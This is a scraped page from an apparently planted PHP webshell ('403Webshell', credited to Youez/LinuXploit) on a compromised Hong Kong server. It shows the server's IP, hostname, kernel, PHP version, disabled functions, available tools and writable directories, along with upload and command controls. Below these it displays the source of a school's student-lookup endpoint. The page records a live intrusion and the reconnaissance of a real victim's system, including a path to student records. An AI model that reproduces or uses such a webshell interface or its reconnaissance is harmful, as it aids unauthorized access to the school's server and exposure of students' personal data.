403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS_bk/student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS_bk/student/students.json.php
<?php
$without_send_header = true;
require_once(__DIR__ . '/../checkuser.php');
$q = $_GET['q'];

$sql = "
SELECT student.*, student_grade.title AS grade_title
FROM mis_student student
LEFT JOIN mis_student_grade student_grade ON student_grade.id = student.student_grade_id
WHERE student.is_latest = 1 AND student.deleted = 0
	AND CONCAT(student.last_name, ' ', student.first_name, ' ', student.registration_number) LIKE CONCAT('%', ?, '%')
ORDER BY student.last_name, student.first_name, student.registration_number, student.root_id";
$parameters = array($q);
$sth = Db\Util::execute($dbh, $sql, $parameters);
$all_students = $sth->fetchAll();

$json_students = array();
foreach ($all_students as $student) {
	$json_students[] = array(
		'id' => $student['root_id'],
		'text' => $student['last_name'] . ' ' . $student['first_name'] . ' (' . $student['registration_number'] . ') ' . $student['grade_title'],
	);
}

echo json_encode(array(
	'results' => $json_students,
));

Youez - 2016 - github.com/yon3zu
LinuXploit